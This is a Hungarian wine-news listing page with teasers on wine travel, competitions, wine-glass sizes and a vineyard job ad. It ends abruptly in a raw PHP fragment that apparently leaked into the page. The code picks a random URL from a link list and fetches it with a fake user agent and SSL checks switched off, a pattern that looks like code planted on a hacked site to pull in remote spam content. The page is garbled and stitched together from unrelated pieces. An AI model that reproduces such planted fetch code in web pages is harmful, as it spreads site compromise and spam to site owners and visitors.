Borozzunk világörökségi helyszíneken!


Aki nem tudja még, hova utazik 2018-ban, most új inspirációt kaphat: nyolc UNESCO világörökségi helyszínt ajánlunk, ahol jó eséllyel találkozhatunk különleges borokkal. A Tokaji borvidék is felkerült a nyolcas listára! Fotó: decanter.com A Decanter szerkesztősége összeszedett több olyan UNESCO világörökségi helyszínt, ahova érdemes 2018-ban ellátogatni, ha jó borokat szeretnénk kóstolni. Champagne, Franciaország A Párizstól egy… Tovább..

Így jelenjünk meg borainkkal egy rendezvényen


Hogyan térüljön meg egy szakmai kiállítás költsége a leggyorsabban? Mik a kitelepülés mesterfogásai? Többek közt ezekre a kérdésekre is választ kaphatunk a Kiállítók Szabadegyeteme című egynapos szakmai tréningen, február 15-én, a MOM Kulturális Központban. A modern borászatok éves szinten nagy összegeket költenek különböző kitelepülésekre, fesztiválokon való megjelenésre. Mindenki szeretné, ha ennek az összegnek minden fillére… Tovább..

Sauvignon Blanc világbajnokság Grazban


Graz lesz a helyszíne a világ egyik meghatározó fehérbor versenyének, a Concours Mondial du Sauvignon-nak március 2-án és 3-án. Nevezni február elsejéig lehet, az eredményhirdetés március 19-én Düsseldorfban lesz a ProWeinon. A sauvignon blanc népszerűsítését célul kitűző versenysorozat, a Concours Mondial du Sauvignon 2010-ben Bordeaux-ból indult útjára, az idei lesz a kilencedik alkalom. Az elmúlt… Tovább..

Mégsem lehet saját bormárkája Lady Gagának?


Szabadalmi problémák miatt nem kezdheti forgalmazni saját bormárkáját Lady Gaga, amerikai énekesnő. A híresség vörös- és fehérborok mellett borászati kiegészítők piacra dobását is tervezte. Fotó: ladygaga-spain.com Lady Gaga (eredeti nevén Stefani Joanne Germanotta) tavaly kezdte előkészíteni a Joanne Trattoria Vino Blanco és a Joanne Trattoria Vino Rosso névre hallgató borok forgalmazását. Ehhez decemberben adott be… Tovább..

Ilyen a stílusos vidéki vendéglátás


6 SVÉTterem, 12 étel, 1 világnézet – február 17-én tavaszváró programot szerveznek a Stílusos Vidéki Éttermiség Egyesület éttermei több helyszínen is az országban. Az éttermek az ikonikussá vált ételeik közül mutatnak be két-két fogást. A részletes menüsort később közlik. A rendezvényen az alábbi stílusos vidéki éttermek vesznek részt: Kistücsök Étterem (Balatonszemes) Erhardt Étterem (Sopron) Viator… Tovább..

Budapest Café nyílt Kínában


Wes Anderson filmje, a The Grand Budapest Hotel inspirálta a decemberben elkészült étterem kialakítását. A rendező karakteres stílusa a kínai Chengduban található kávézó külső és belső terére is nagy hatással volt. Fotó: Biasol Wes Andersont olyan filmek rendezőjeként ismerhetjük, mint a Tenenbaum, a háziátok (The Royal Tenenbaums), a Holdfény királyság (Moonrise Kingdom) és a The… Tovább..

Milyen hatással lesz a klímaváltozás a szőlőkre?


Kevésbé ismert szőlőfajták telepítése lehet az egyik módszer a klímaváltozás negatív hatásainak megelőzésére. A kutatóknak és a bortermelőknek pedig jobban meg kell ismerniük az újonnan telepíthető típusokat. „A globális felmelegedés ismeretében sok területen nagyon nehéz lesz ugyanazokat a szőlőfajtákat termeszteni, mint korábban – írja Elizabeth Wolkovich, a Nature Climate Change oldalán január elején megjelent kutatásában…. Tovább..

Egyre nagyobbak a borospoharaink


Több szakértő szerint napi egy pohár bor egészséges – de a kérdés, hogy mekkora az a borospohár? Hogy igyunk mértékkel, ha a poharak mérete az évszázadok alatt fokozatosan nő? Fotó: www.winespectator.com A British Medical Journal legújabb kutatása megállapította, hogy az elmúlt 300 évben folyamatosan nőtt a borospoharak mérete. A Cambridge-i Egyetem kutatói öt forrásból érkező… Tovább..

Levegőt a boroknak!


Nemcsak nekünk, embereknek, hanem a boroknak is létszükséglet a levegő. Ha szeretnénk, hogy levegőzzön a bor, mielőtt elfogyasztjuk, akkor a pohárban való szellőztetés mellett a piacon fellelhető dekantálók közül választhatunk – mi most a legszebbekből gyűjtöttünk össze párat. „A fiatal és az idősebb borokat is szeretem dekantálni” – mondja Christian Moueix, neves francia borász. „A… Tovább..

Szőlészt keresnek a Béres Szőlőbirtokra


A Béres Szőlőbirtok és Pincészet Kft. 2018 januárjától új munkatársat keres szőlész munkakörbe a Tokaji Borvidékre. Fotó: Béres Szőlőbirtok Feladatok: A Béres Szőlőbirtok 45 hektáros szőlőterületére vonatkozó éves munkaterv meghatározása A kézi és gépi munkák szervezése és ellenőrzése, szolgáltatói szerződések megkötése, ellenőrzése Szüreti munkák irányítása A szőlészethez kapcsolódó adminisztratív feladatok ellátása Elvárások: Felsőfokú, szakirányú végzettség… Tovább..

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>